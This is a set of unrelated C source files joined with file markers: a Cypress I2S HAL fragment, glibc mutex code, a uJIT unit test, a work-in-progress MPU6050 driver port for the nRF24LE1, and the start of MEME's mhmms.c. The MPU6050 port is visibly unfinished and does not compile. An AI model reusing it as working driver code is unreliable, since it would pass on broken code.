#if (CYHAL_DRIVER_AVAILABLE_I2S_RX)
if(0 != (pdl_cause & CY_I2S_INTR_RX_NOT_EMPTY))
{
result |= CYHAL_I2S_RX_NOT_EMPTY;
}
if(0 != (pdl_cause & CY_I2S_INTR_RX_TRIGGER))
{
result |= CYHAL_I2S_RX_HALF_FULL;
}
if(0 != (pdl_cause & CY_I2S_INTR_RX_FULL))
{
result |= CYHAL_I2S_RX_FULL;
}
if(0 != (pdl_cause & CY_I2S_INTR_RX_OVERFLOW))
{
result |= CYHAL_I2S_RX_OVERFLOW;
}
if(0 != (pdl_cause & CY_I2S_INTR_RX_UNDERFLOW))
{
result |= CYHAL_I2S_RX_UNDERFLOW;
}
#endif
return (uint32_t)result;
}
static uint32_t _cyhal_i2s_convert_event(uint32_t event)
{
cyhal_i2s_event_t hal_event = (cyhal_i2s_event_t)event;
uint32_t pdl_event = 0u;
if(0 != (hal_event & CYHAL_I2S_TX_NOT_FULL))
{
pdl_event |= CY_I2S_INTR_TX_NOT_FULL;
}
if(0 != (hal_event & CYHAL_I2S_TX_HALF_EMPTY))
{
pdl_event |= CY_I2S_INTR_TX_TRIGGER;
}
if(0 != (hal_event & CYHAL_I2S_TX_EMPTY))
{
pdl_event |= CY_I2S_INTR_TX_EMPTY;
}
if(0 != (hal_event & CYHAL_I2S_TX_OVERFLOW))
{
pdl_event |= CY_I2S_INTR_TX_OVERFLOW;
}
if(0 != (hal_event & CYHAL_I2S_TX_UNDERFLOW ))
{
pdl_event |= CY_I2S_INTR_TX_UNDERFLOW;
}
#if (CYHAL_DRIVER_AVAILABLE_I2S_RX)
if(0 != (hal_event & CYHAL_I2S_RX_NOT_EMPTY))
{
pdl_event |= CY_I2S_INTR_RX_NOT_EMPTY;
}
if(0 != (hal_event & CYHAL_I2S_RX_HALF_FULL))
{
pdl_event |= CY_I2S_INTR_RX_TRIGGER;
}
if(0 != (hal_event & CYHAL_I2S_RX_FULL))
{
pdl_event |= CY_I2S_INTR_RX_FULL;
}
if(0 != (hal_event & CYHAL_I2S_RX_OVERFLOW))
{
pdl_event |= CY_I2S_INTR_RX_OVERFLOW;
}
if(0 != (hal_event & CYHAL_I2S_RX_UNDERFLOW))
{
pdl_event |= CY_I2S_INTR_RX_UNDERFLOW;
}
#endif
return pdl_event;
}
#elif defined(CY_IP_MXTDM)
static uint32_t _cyhal_i2s_convert_event(uint32_t event, bool is_tx)
{
cyhal_i2s_event_t hal_event = (cyhal_i2s_event_t)event;
uint32_t pdl_event = 0u;
if(is_tx)
{
/* Full/empty related interrupts not supported by this IP:
* * CYHAL_I2S_TX_NOT_FULL
* * CYHAL_I2S_TX_EMPTY
*/
if(0 != (hal_event & CYHAL_I2S_TX_HALF_EMPTY))
{
pdl_event |= CY_TDM_INTR_TX_FIFO_TRIGGER;
}
if(0 != (hal_event & CYHAL_I2S_TX_OVERFLOW))
{
pdl_event |= CY_TDM_INTR_TX_FIFO_OVERFLOW;
}
if(0 != (hal_event & CYHAL_I2S_TX_UNDERFLOW ))
{
pdl_event |= CY_TDM_INTR_TX_FIFO_UNDERFLOW;
}
}
else
{
/* Full/empty related interrupts not supported by this IP:
* * CYHAL_I2S_RX_NOT_FULL
* * CYHAL_I2S_RX_EMPTY
*/
if(0 != (hal_event & CYHAL_I2S_RX_HALF_FULL))
{
pdl_event |= CY_TDM_INTR_RX_FIFO_TRIGGER;
}
if(0 != (hal_event & CYHAL_I2S_RX_OVERFLOW))
{
pdl_event |= CY_TDM_INTR_RX_FIFO_OVERFLOW;
}
if(0 != (hal_event & CYHAL_I2S_RX_UNDERFLOW ))
{
pdl_event |= CY_TDM_INTR_RX_FIFO_UNDERFLOW;
}
}
return pdl_event;
}
static uint32_t _cyhal_i2s_convert_interrupt_cause(uint32_t pdl_cause, bool is_tx)
{
cyhal_i2s_event_t result = (cyhal_i2s_event_t)0u;
if(is_tx)
{
/* Full/empty related interrupts not supported by this IP:
* * CYHAL_I2S_TX_NOT_FULL
* * CYHAL_I2S_TX_EMPTY
*/
if(0 != (pdl_cause & CY_TDM_INTR_TX_FIFO_TRIGGER))
{
result |= CYHAL_I2S_TX_HALF_EMPTY;
}
if(0 != (pdl_cause & CY_TDM_INTR_TX_FIFO_OVERFLOW))
{
result |= CYHAL_I2S_TX_OVERFLOW;
}
if(0 != (pdl_cause & CY_TDM_INTR_TX_FIFO_UNDERFLOW))
{
result |= CYHAL_I2S_TX_UNDERFLOW;
}
}
else
{
/* Full/empty related interrupts not supported by this IP:
* * CYHAL_I2S_RX_NOT_FULL
* * CYHAL_I2S_RX_EMPTY
*/
if(0 != (pdl_cause & CY_TDM_INTR_RX_FIFO_TRIGGER))
{
result |= CYHAL_I2S_RX_HALF_FULL;
}
if(0 != (pdl_cause & CY_TDM_INTR_RX_FIFO_OVERFLOW))
{
result |= CYHAL_I2S_RX_OVERFLOW;
}
if(0 != (pdl_cause & CY_TDM_INTR_RX_FIFO_UNDERFLOW))
{
result |= CYHAL_I2S_RX_UNDERFLOW;
}
}
return (uint32_t)result;
}
#endif
static void _cyhal_i2s_invoke_callback(_cyhal_audioss_t* obj, uint32_t event)
{
cyhal_i2s_event_callback_t callback = (cyhal_i2s_event_callback_t)obj->callback_data.callback;
if(NULL != callback)
{
callback(obj->callback_data.callback_arg, (cyhal_i2s_event_t)event);
}
}
cy_rslt_t cyhal_i2s_enable_output(cyhal_i2s_t *obj, cyhal_i2s_output_t output, cyhal_source_t *source)
{
CY_ASSERT(CYHAL_I2S_TRIGGER_RX_HALF_FULL == output || CYHAL_I2S_TRIGGER_TX_HALF_EMPTY == output);
bool is_rx = CYHAL_I2S_TRIGGER_RX_HALF_FULL == output;
return _cyhal_audioss_enable_output(obj, is_rx, source);
}
cy_rslt_t cyhal_i2s_disable_output(cyhal_i2s_t *obj, cyhal_i2s_output_t output)
{
CY_ASSERT(CYHAL_I2S_TRIGGER_RX_HALF_FULL == output || CYHAL_I2S_TRIGGER_TX_HALF_EMPTY == output);
bool is_rx = CYHAL_I2S_TRIGGER_RX_HALF_FULL == output;
return _cyhal_audioss_disable_output(obj, is_rx);
}
#if defined(__cplusplus)
}
#endif
#endif /* CYHAL_DRIVER_AVAILABLE_I2S */
|
58381.c | /* Copyright (C) 2005, 2010 Free Software Foundation, Inc.
This file is part of the GNU C Library.
Contributed by Ulrich Drepper <[email protected]>, 2005.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <errno.h>
#include <pthreadP.h>
int
pthread_mutexattr_setrobust (
pthread_mutexattr_t *attr,
int robustness)
{
if (robustness != PTHREAD_MUTEX_STALLED_NP
&& __builtin_expect (robustness != PTHREAD_MUTEX_ROBUST_NP, 0))
return EINVAL;
struct pthread_mutexattr *iattr = (struct pthread_mutexattr *) attr;
/* We use bit 30 to signal whether the mutex is going to be
robust or not. */
if (robustness == PTHREAD_MUTEX_STALLED_NP)
iattr->mutexkind &= ~PTHREAD_MUTEXATTR_FLAG_ROBUST;
else
iattr->mutexkind |= PTHREAD_MUTEXATTR_FLAG_ROBUST;
return 0;
}
weak_alias (pthread_mutexattr_setrobust, pthread_mutexattr_setrobust_np)
|
706869.c | /*
* This is a part of uJIT's testing suite.
* Copyright (C) 2020-2022 LuaVela Authors. See Copyright Notice in COPYRIGHT
* Copyright (C) 2015-2020 IPONWEB Ltd. See Copyright Notice in COPYRIGHT
*/
#include "test_common.h"
#include <string.h>
#include <ctype.h>
#include <utils/random.c>
#define TEST_BUFFER_SIZE 8
static void test_random_hex_file_extension(void **state)
{
UNUSED_STATE(state);
char buffer[TEST_BUFFER_SIZE];
memset(buffer, 0, sizeof(char) * TEST_BUFFER_SIZE);
random_hex_file_extension(buffer, 0);
assert_true(strlen(buffer) == 0);
memset(buffer, 0, sizeof(char) * TEST_BUFFER_SIZE);
random_hex_file_extension(buffer, 1);
assert_true(buffer[0] == '.' && strlen(buffer) == 1);
memset(buffer, 0, sizeof(char) * TEST_BUFFER_SIZE);
random_hex_file_extension(buffer, 2);
assert_true(buffer[0] == '.' && isxdigit((int)buffer[1]) &&
strlen(buffer) == 2);
}
int main(void)
{
const struct CMUnitTest tests[] = {
cmocka_unit_test(test_random_hex_file_extension),
};
cmocka_set_message_output(CM_OUTPUT_TAP);
return cmocka_run_group_tests(tests, NULL, NULL);
}
|
678312.c |
//Biblioteca para I/O no nRF24Le1
#include "nrf24le1.h"
//Bibliotecas do exemplo de I2C
#include <hal_w2_isr.h>
#include "hal_delay.h"
#include "stdint.h"
#include "stdbool.h"
//************************TODO****************//
//-------------------readBits
//-------------------writeBit
//-------------------writeBits
//-------------------delay_i2c //DONE
//-------------------readByte //DONE
//-------------------i2c_mpu_readBytes //DONE
//-------------------writeWord
//********************************************///
//************FUNÇÕES*************//
// - delay_i2c(unsigned int x)
// - mpu.initialize(); - Feito(Verificar)
// - mpu.testConnection(); - Feito(Verificar)
// - mpu.dmpInitialize(); -FIXME: Pedir ajudar
// - mpu.set*Offset(int); - Feito(Verificar)
// - mpu.get*Offset(); - Feito(Verificar)
// - mpu.setDMPEnabled(bool); - Feito(Verificar)
// - mpu.getIntStatus(); - Feito(Verificar)
// - mpu.dmpGetFIFOPacketSize(); - FIXME: Ué?
// - mpu.getFIFOCount(); - Feito(Verificar)
// - mpu.resetFIFO(); - Feito(Verificar)
// - mpu.getFIFOBytes(fifoBuffer, packetSize); - Feito(Verificar), FIXME: Implementar variaveis globais
// - mpu.dmpGetQuaternion(&q, fifoBuffer); - Feito(Verificar)
// - mpu.getMotion6(&ax, &ay, &az, &gx, &gy, &gz); - Feito(Verificar)
//TODO: para facilitar a transferencia pensar sobre tranferir a FIFO
//**********************************************************//
//TODO: Melhorar implementação e uso de variaveis globais
uint8_t buffer[14]; //usado em testConnection e getIntStatus
uint16_t dmpPacketSize; //usado em dmpGetPacketSize e dmpInitialize
uint8_t *dmpPacketBuffer; //usado em dmpGetQuaternion
void delay_i2c(unsigned int x) {
unsigned int i,j;
i=0;
for(i=0;i<x;i++)
{
j=508;
;
while(j--);
}
}
void initialize(void){
writeBits(MPU_endereco, 0x6B, 2, 3, 0x01);//setClockSource(MPU6050_CLOCK_PLL_XGYRO);
writeBits(MPU_endereco, 0x1B, 4, 2, 0x00);//setFullScaleGyroRange(MPU6050_GYRO_FS_250);
writeBits(MPU_endereco, 0x1C, 4, 2, 0x00);//setFullScaleAccelRange(MPU6050_ACCEL_FS_2);
writeBit(MPU_endereco, 0x6B, 6, false); //setSleepEnabled(false);
}
bool testConnection(void){
readBits(MPU_endereco, 0x75, 6, 6, buffer);
return buffer[0] == 0x34;
}
//BUG:
void dmpInitialize(void){
/* Paços:
- Reset device
- Disable sleep mode
- get MPU hardware revision
- Selecting user bank 16
- Selecting memory byte 6
- Checking hardware revision
- Reseting memory bank selection to 0
- check OTP bank valid
- get X/Y/Z gyro offsets
- setup em coisas esquisitas la do slave de i2c (na biblioteca tava escrita desse jeito msm)
- Setting slave 0 address to 0x7F
- Disabling I2C Master mode
- Setting slave 0 address to 0x68 (self)
- Resetting I2C Master control
- Load DMP code into memory banks
- write DMP configuration
- Setting clock source to Z Gyro
- Setting DMP and FIFO_OFLOW interrupts enabled
- Setting sample rate to 200HZ
- Setting external frame sync to TEMP_OUT_L[0]
- Setting DLPF bandwidth to 42Hz
- Setting gyro sensitivity to +- 2000 deg/sec
- Setting DMP configuration bytes (nem a biblioteca sabe o que isso aqui faz)
- Clearing OTP Bank flag
- Setting X/Y/Z gyro offset TCs to previous values (a biblioteca deu uma bugada aqui, olhar la pra rir kkkkk)
*/
//Resetando
/* Resetando
reset();
I2Cdev::writeBit(devAddr, MPU6050_RA_PWR_MGMT_1, MPU6050_PWR1_DEVICE_RESET_BIT, true);
I2Cdev::writeBit(devAddr, 0x6B, 7, true);
devAddr, regAddr,Bit, value
delay_i2c(30);
*/
//reset
// I2Cdev::writeBit(devAddr, MPU6050_RA_PWR_MGMT_1, MPU6050_PWR1_DEVICE_RESET_BIT, true);
writeBit(MPU_endereco, 0x6B, 7, true);
delay_i2c(30);
// disable sleep mode
writeBit(MPU_endereco, 0x6B, 6, false); //setSleepEnabled(false);
// get MPU hardware revision
/*DEBUG_PRINTLN(F("Selecting user bank 16..."));*/
setMemoryBank(0x10, true, true);
writeByte(MPU_endereco,0x6D,bank);
//setMemoryStartAddress(0x06);
writeByte(MPU_endereco, 0x6E, 0x06);
setMemoryBank(0, false, false);
// get X/Y/Z gyro offsets
int8_t xgOffsetTC = getXGyroOffsetTC();
int8_t ygOffsetTC = getYGyroOffsetTC();
int8_t zgOffsetTC = getZGyroOffsetTC();
//BUG: nem o povo que fez a original sabia oq ta acontecendo
//setSlaveAddress(0, 0x7F);
writeByte(MPU_endereco, 0x25, 0x7F);
//setI2CMasterModeEnabled(false);
writeBit(MPU_endereco, 0x6A, 5, false);
//setSlaveAddress(0, 0x68);
writeByte(MPU_endereco, 0x25, 0x68);
//resetI2CMaster()
writeBit(MPU_endereco, 0x6A, 1, true);
delay_i2c(20);
// load DMP code into memory banks
//TODO: write this functions, remenber the return condition
if (writeProgMemoryBlock(dmpMemory, MPU6050_DMP_CODE_SIZE)) {
//BUG: funcoes dentro do if
if (writeProgDMPConfigurationSet(dmpConfig, MPU6050_DMP_CONFIG_SIZE)) {
//setClockSource(MPU6050_CLOCK_PLL_ZGYRO);
writeBits(MPU_endereco, 0x6B, 2, 3, 0x03);
//setIntEnabled(0x12);
writeByte(MPU_endereco, 0x38, 0x12);
//setRate(4); // 1khz / (1 + 4) = 200 Hz
writeByte(MPU_endereco, 0x19, 4);
//setExternalFrameSync(MPU6050_EXT_SYNC_TEMP_OUT_L);
writeBits(MPU_endereco, 0x1A, 5, 3, 0x1);
//setDLPFMode(MPU6050_DLPF_BW_42);
writeBits(MPU_endereco, 0x1A, 2, 3, 0x03);
//setFullScaleGyroRange(MPU6050_GYRO_FS_2000);
writeBits(MPU_endereco, 0x1B, 4, 2, 0x03);
//setDMPConfig1(0x03);
//setDMPConfig2(0x00);
writeByte(MPU_endereco, 0x70, 0x03);
writeByte(MPU_endereco, 0x71, 0x00);
//setOTPBankValid(false);
writeBit(MPU_endereco, 0x00, 0, false);
//setXGyroOffsetTC(xgOffsetTC);
//setYGyroOffsetTC(ygOffsetTC);
//setZGyroOffsetTC(zgOffsetTC);
writeBits(MPU_endereco, 0x00, 6, 6, xgOffsetTC);
writeBits(MPU_endereco, 0x01, 6, 6, ygOffsetTC);
writeBits(MPU_endereco, 0x02, 6, 6, zgOffsetTC);
//XXX: I stopped here yesterday, ok i'm back
//BUG: tipo de memoria a se utilizar
uint8_t dmpUpdate[16], j;
uint16_t pos = 0;
//BUG: write memori block esta implementada?
//pgm_read_byte implementada?
//(F("Writing final memory update 1/7 (function unknown)..."))
for (j = 0; j < 4 || j < dmpUpdate[2] + 3; j++, pos++) dmpUpdate[j] = pgm_read_byte(&dmpUpdates[pos]);
writeMemoryBlock(dmpUpdate + 3, dmpUpdate[2], dmpUpdate[0], dmpUpdate[1]);
//("Writing final memory update 2/7 (function unknown)..."));
for (j = 0; j < 4 || j < dmpUpdate[2] + 3; j++, pos++) dmpUpdate[j] = pgm_read_byte(&dmpUpdates[pos]);
writeMemoryBlock(dmpUpdate + 3, dmpUpdate[2], dmpUpdate[0], dmpUpdate[1]);
//(F("Resetting FIFO..."));
resetFIFO();
//writeBit(devAddr, 0x6A, 2, true);
//BUG: tipo de memoria
uint16_t fifoCount = getFIFOCount();
uint8_t fifoBuffer[128];
getFIFOBytes(fifoBuffer, fifoCount);
//setMotionDetectionThreshold(2);
writeByte(MPU_endereco, 0x1F, 2);
//setZeroMotionDetectionThreshold(156);
writeByte(MPU_endereco, 0x21, 156);
//setMotionDetectionDuration(80);
writeByte(MPU_endereco, 0x20, 80);
//setZeroMotionDetectionDuration(0);
writeByte(MPU_endereco, 0x22, 0);
resetFIFO();
//writeBit(devAddr, 0x6A, 2, true);
//setFIFOEnabled(true);
writeBit(MPU_endereco, 0x6A, 6, true);
setDMPEnabled(true);
//resetDMP();
writeBit(MPU_endereco, 0x6A, 3, true);
//(F("Writing final memory update 3/7 (function unknown)..."));
for (j = 0; j < 4 || j < dmpUpdate[2] + 3; j++, pos++) dmpUpdate[j] = pgm_read_byte(&dmpUpdates[pos]);
writeMemoryBlock(dmpUpdate + 3, dmpUpdate[2], dmpUpdate[0], dmpUpdate[1]);
//(F("Writing final memory update 4/7 (function unknown)..."));
for (j = 0; j < 4 || j < dmpUpdate[2] + 3; j++, pos++) dmpUpdate[j] = pgm_read_byte(&dmpUpdates[pos]);
writeMemoryBlock(dmpUpdate + 3, dmpUpdate[2], dmpUpdate[0], dmpUpdate[1]);
//(F("Writing final memory update 5/7 (function unknown)..."));
for (j = 0; j < 4 || j < dmpUpdate[2] + 3; j++, pos++) dmpUpdate[j] = pgm_read_byte(&dmpUpdates[pos]);
writeMemoryBlock(dmpUpdate + 3, dmpUpdate[2], dmpUpdate[0], dmpUpdate[1]);
//(F("Waiting for FIFO count > 2..."));
while ((fifoCount = getFIFOCount()) < 3);
getFIFOBytes(fifoBuffer, fifoCount);
//(F("Reading final memory update 6/7 (function unknown)..."));
for (j = 0; j < 4 || j < dmpUpdate[2] + 3; j++, pos++) dmpUpdate[j] = pgm_read_byte(&dmpUpdates[pos]);
readMemoryBlock(dmpUpdate + 3, dmpUpdate[2], dmpUpdate[0], dmpUpdate[1]);
//(F("Waiting for FIFO count > 2..."));
while ((fifoCount = getFIFOCount()) < 3);
getFIFOBytes(fifoBuffer, fifoCount);
//(F("Writing final memory update 7/7 (function unknown)..."));
for (j = 0; j < 4 || j < dmpUpdate[2] + 3; j++, pos++) dmpUpdate[j] = pgm_read_byte(&dmpUpdates[pos]);
writeMemoryBlock(dmpUpdate + 3, dmpUpdate[2], dmpUpdate[0], dmpUpdate[1]);
//(F("DMP is good to go! Finally."));
//(F("Disabling DMP (you turn it on later)..."));
setDMPEnabled(false);
//(F("Setting up internal 42-byte (default) DMP packet buffer..."));
dmpPacketSize = 42;
//(F("Resetting FIFO and clearing INT status one last time..."));
resetFIFO();
getIntStatus();
} else {
//(F("ERROR! DMP configuration verification failed."));
return 2; // configuration block loading failed
}
} else {
//(F("ERROR! DMP code verification failed."));
return 1; // main binary block loading failed
}
return 0; // success
}
//MOVE functions
/************/
void setMemoryBank(uint8_t bank, bool prefetchEnabled, bool userBank) {
bank &= 0x1F;
if (userBank) bank |= 0x20;
if (prefetchEnabled) bank |= 0x40;
writeByte(MPU_endereco, 0x6D, bank);
}
int8_t getXGyroOffsetTC(void) {
readBits(MPU_endereco, 0x00, 6, 6, buffer);
return buffer[0];
}
int8_t getYGyroOffsetTC(void) {
readBits(MPU_endereco, 0x01, 6, 6, buffer);
return buffer[0];
}
int8_t getZGyroOffsetTC(void) {
readBits(MPU_endereco, 0x02, 6, 6, buffer);
return buffer[0];
}
//BUG:
bool writeMemoryBlock(const uint8_t *data_ptr, uint16_t dataSize, uint8_t bank, uint8_t address, bool verify, bool useProgMem) {
setMemoryBank(bank);
//setMemoryStartAddress(address);
writeByte(MPU_endereco, 0x6E, address);
uint8_t chunkSize;
uint8_t *verifyBuffer;
uint8_t *progBuffer=0;
uint16_t i;
uint8_t j;
//XXX: existe malloc no radio?
if (verify) verifyBuffer = (uint8_t *)malloc(MPU6050_DMP_MEMORY_CHUNK_SIZE);
if (useProgMem) progBuffer = (uint8_t *)malloc(MPU6050_DMP_MEMORY_CHUNK_SIZE);
for (i = 0; i < dataSize;) {
// determine correct chunk size according to bank position and data size
chunkSize = MPU6050_DMP_MEMORY_CHUNK_SIZE;
// make sure we don't go past the data size
if (i + chunkSize > dataSize) chunkSize = dataSize - i;
// make sure this chunk doesn't go past the bank boundary (256 bytes)
if (chunkSize > 256 - address) chunkSize = 256 - address;
if (useProgMem) {
// write the chunk of data as specified
for (j = 0; j < chunkSize; j++) progBuffer[j] = pgm_read_byte(data_ptr + i + j);
} else {
// write the chunk of data_ptr as specified
progBuffer = (uint8_t *)data_ptr + i;
}
writeBytes(MPU_endereco, 0x6F, chunkSize, progBuffer);
// verify data if needed
if (verify && verifyBuffer) {
setMemoryBank(bank);
//setMemoryStartAddress(address);
writeByte(MPU_endereco, 0x6E, address);
i2c_mpu_readBytes(MPU_endereco, 0x6F, chunkSize, verifyBuffer);
if (memcmp(progBuffer, verifyBuffer, chunkSize) != 0) {
free(verifyBuffer);
if (useProgMem) free(progBuffer);
return false; // uh oh.
}
}
// increase byte index by [chunkSize]
i += chunkSize;
// uint8_t automatically wraps to 0 at 256
address += chunkSize;
// if we aren't done, update bank (if necessary) and address
if (i < dataSize) {
if (address == 0) bank++;
setMemoryBank(bank);
//setMemoryStartAddress(address);
writeByte(MPU_endereco, 0x6E, address);
}
}
if (verify) free(verifyBuffer);
if (useProgMem) free(progBuffer);
return true;
}
bool writeProgMemoryBlock(const uint8_t *data_ptr, uint16_t dataSize, uint8_t bank, uint8_t address, bool verify) {
return writeMemoryBlock(data_prt, dataSize, bank, address, verify, true);
}
bool writeDMPConfigurationSet(const uint8_t *data_ptr, uint16_t dataSize, bool useProgMem) {
uint8_t *progBuffer = 0;
uint8_t success, special;
uint16_t i, j;
if (useProgMem) {
progBuffer = (uint8_t *)malloc(8); // assume 8-byte blocks, realloc later if necessary
}
// config set data is a long string of blocks with the following structure:
// [bank] [offset] [length] [byte[0], byte[1], ..., byte[length]]
uint8_t bank, offset, length;
for (i = 0; i < dataSize;) {
if (useProgMem) {
bank = pgm_read_byte(data_ptr + i++);
offset = pgm_read_byte(data_ptr + i++);
length = pgm_read_byte(data_ptr + i++);
} else {
bank = data_ptr[i++];
offset = data_ptr[i++];
length = data_ptr[i++];
}
// write data or perform special action
if (length > 0) {
// regular block of data to write
/*Serial.print("Writing config block to bank ");
Serial.print(bank);
Serial.print(", offset ");
Serial.print(offset);
Serial.print(", length=");
Serial.println(length);*/
if (useProgMem) {
if (sizeof(progBuffer) < length) progBuffer = (uint8_t *)realloc(progBuffer, length);
for (j = 0; j < length; j++) progBuffer[j] = pgm_read_byte(data_ptr + i + j);
} else {
progBuffer = (uint8_t *)data_ptr + i;
}
success = writeMemoryBlock(progBuffer, length, bank, offset, true);
i += length;
} else {
// special instruction
// NOTE: this kind of behavior (what and when to do certain things)
// is totally undocumented. This code is in here based on observed
// behavior only, and exactly why (or even whether) it has to be here
// is anybody's guess for now.
if (useProgMem) {
special = pgm_read_byte(data_ptr + i++);
} else {
special = data_ptr[i++];
}
/*Serial.print("Special command code ");
Serial.print(special, HEX);
Serial.println(" found...");*/
if (special == 0x01) {
// enable DMP-related interrupts
//setIntZeroMotionEnabled(true);
//setIntFIFOBufferOverflowEnabled(true);
//setIntDMPEnabled(true);
writeByte(MPU_endereco, MPU6050_RA_INT_ENABLE, 0x32); // single operation
success = true;
} else {
// unknown special command
success = false;
}
}
if (!success) {
if (useProgMem) free(progBuffer);
return false; // uh oh
}
}
if (useProgMem) free(progBuffer);
return true;
}
bool writeProgDMPConfigurationSet(const uint8_t *data_ptr, uint16_t dataSize) {
return writeDMPConfigurationSet(data_ptr, dataSize, true);
}
void setDMPEnabled(bool enabled){
writeBit(MPU_endereco, 0x6A, 7, enabled);
}
uint8_t getIntStatus(void){
i2c_mpu_readByte(MPU_endereco, 0x3A, buffer)
return buffer[0];
}
uint16_t dmpGetFIFOPacketSize(void) {
return dmpPacketSize;
}
uint16_t getFIFOCount(void) {
i2c_mpu_readBytes(MPU_endereco, 0x72, 2, buffer);
return (((uint16_t)buffer[0]) << 8) | buffer[1];
}
void resetFIFO(void) {
writeBit(MPU_endereco, 0x6A, 2, true);
}
void getFIFOBytes(uint8_t *data_ptr, uint8_t length) {
if(length > 0){
i2c_mpu_readBytes(MPU_endereco, 0x74, length, data_ptr);
} else {
*data_ptr = 0;
}
}
uint8_t dmpGetQuaternion(int16_t *data_ptr, const uint8_t* packet) {
if (packet == 0) packet = dmpPacketBuffer;
data_ptr[0] = ((packet[0] << 8) | packet[1]);
data_ptr[1] = ((packet[4] << 8) | packet[5]);
data_ptr[2] = ((packet[8] << 8) | packet[9]);
data_ptr[3] = ((packet[12] << 8) | packet[13]);
return 0;
}
void getMotion6(int16_t* ax, int16_t* ay, int16_t* az, int16_t* gx, int16_t* gy, int16_t* gz) {
i2c_mpu_readBytes(MPU_endereco, 0x3B, 14, buffer);
*ax = (((int16_t)buffer[0]) << 8) | buffer[1];
*ay = (((int16_t)buffer[2]) << 8) | buffer[3];
*az = (((int16_t)buffer[4]) << 8) | buffer[5];
*gx = (((int16_t)buffer[8]) << 8) | buffer[9];
*gy = (((int16_t)buffer[10]) << 8) | buffer[11];
*gz = (((int16_t)buffer[12]) << 8) | buffer[13];
}
void setXAccelOffset(int16_t offset) {
writeWord(MPU_endereco, 0x06, offset);
}
void setYAccelOffset(int16_t offset) {
writeWord(MPU_endereco, 0x08, offset);
}
void setZAccelOffset(int16_t offset) {
writeWord(MPU_endereco, 0x0A, offset);
}
void setXGyroOffset(int16_t offset) {
writeWord(MPU_endereco, 0x13, offset);
}
void setYGyroOffset(int16_t offset) {
writeWord(MPU_endereco, 0x15, offset);
}
void setZGyroOffset(int16_t offset) {
writeWord(MPU_endereco, 0x17, offset);
}
//Get
int16_t getXAccelOffset(void) {
i2c_mpu_readBytes(MPU_endereco, 0x06, 2, buffer);
return (((int16_t)buffer[0]) << 8) | buffer[1];
}
int16_t getYAccelOffset(void) {
i2c_mpu_readBytes(MPU_endereco, 0x08, 2, buffer);
return (((int16_t)buffer[0]) << 8) | buffer[1];
}
int16_t getZAccelOffset(void) {
i2c_mpu_readBytes(MPU_endereco, 0x0A, 2, buffer);
return (((int16_t)buffer[0]) << 8) | buffer[1];
}
int16_t getXGyroOffset(void) {
i2c_mpu_readBytes(MPU_endereco, 0x13, 2, buffer);
return (((int16_t)buffer[0]) << 8) | buffer[1];
}
int16_t getYGyroOffset(void) {
i2c_mpu_readBytes(MPU_endereco, 0x15, 2, buffer);
return (((int16_t)buffer[0]) << 8) | buffer[1];
}
int16_t getZGyroOffset(void) {
i2c_mpu_readBytes(MPU_endereco, 0x17, 2, buffer);
return (((int16_t)buffer[0]) << 8) | buffer[1];
}
|
177419.c | /**************************************************************************
* FILE: mhmms.c
* AUTHOR: William Stafford Noble, Timothy L. Bailey
* CREATE DATE: 8-13-97
* PROJECT: MHMM
* VERSION: $Revision: 1.3 $
* COPYRIGHT: 1998-2002, WNG, 2001-2002, TLB
* DESCRIPTION: Search a database of sequences using a motif-based HMM.
**************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <math.h>
#include <time.h>
#include <assert.h>
#include "utils.h" // Generic utilities.
#include "matrix.h" // Routines for floating point matrices.
#include "array.h" // Routines for floating point arrays.
#include "metameme.h" // Global metameme functions.
#include "alphabet.h" // The amino acid / nucleotide alphabet.
#include "fasta-io.h" // Read FASTA format sequences.
#include "mhmm-state.h" // HMM data structure.
#include "read-mhmm.h" // HMM input/output.
#include "log-hmm.h" // HMM log/log-odds conversion.
#include "fitevd.h" // Extreme value distribution routines.
#include "rdb-matrix.h" // For reading background files
#include "match.h" // Find sequence-to-model match from traceback matrix.
#include "dp.h" // Dynamic programming routines.
#include "pssm.h" // Motif-scoring routines.
#include "qvalue.h" // q-value routines
#include "seq.h" // Sequence manipulation routines
#include "mhmms.h"
#ifndef DEBUG
#define DEBUG 0
#endif
/*************************************************************************
* The following block of global variables and #define's concerns
* storing sequence scores and descriptions for later sorting and
* printing.
*************************************************************************/
#define ALLOCATE_BLOCK 1000 // Number of sequences to allocate at once.
#define PV_WIDTH 11 // Number of digits in one p-value.
#define SCORE_WIDTH 7 // Number of digits in one score.
#define SCORE_PRECISION 2 // Number of digits after zero.
#define LENGTH_WIDTH 10 // Number of digits to print sequence length.
#define MAX_SEQ_ID_LENGTH 40 // Maximum allowed ID length.
#define GC_WIN_SIZE 500 // Size of GC window left and right of match.
#define IGNORE_QUERY_LENGTH 1 // Don't use query length in computing p-values
/* scaling and unscaling of scores for non-local EVDs */
#define ALPHA 2.6 // Kludge factor for non-local EVDs.
#define BETA 1 // Kludge factor for non-local EVDs.
#define SCALE(s, m) (pow((s) - (m) + BETA, ALPHA))
#define UNSCALE(s, m) (pow((s), 1/ALPHA) + (m) - BETA)
static int num_stored = 0; // Number of sequences stored so far.
static char** stored_IDs; // Stored sequence IDs.
static PROB_T* stored_keys; // Stored sequence keys.
static PROB_T* stored_scores; // Stored sequence scores.
static int* stored_lengths; // Stored sequence lengths.
static double* stored_gcs; // Stored match local GC-contents.
static char** stored_seqs; // Stored sequence scores and descriptions.
static char** stored_traces; // Stored Viterbi traces.
// Store the first part of the match line and the subsequent motif lines
// separately, so we can insert the correct E-value later.
static char** stored_match_gffs; // GFF entry for 'match' line.
static char** stored_motif_gffs; // GFF entry for 'motif' lines.
static int longest_ID = 0; // Length of the longest ID.
static int num_allocated = 0; // Number of sequences allocated.
bool skipped_last = false; // Did we skip the previous sequence?
/*************************************************************************
* See .h file.
*************************************************************************/
int get_num_stored() { return(num_stored); }
/*************************************************************************
* Print parameters associated with the extreme value distribution.
*************************************************************************/
static void print_distr_parameters(
EVD_SET evd_set, // Distributions.
SCORE_SET score_set, // Scores.
FILE* out_stream // Output stream.
)
{
int i;
fprintf(out_stream, "\nDerived parameters for E-value calculations\n");
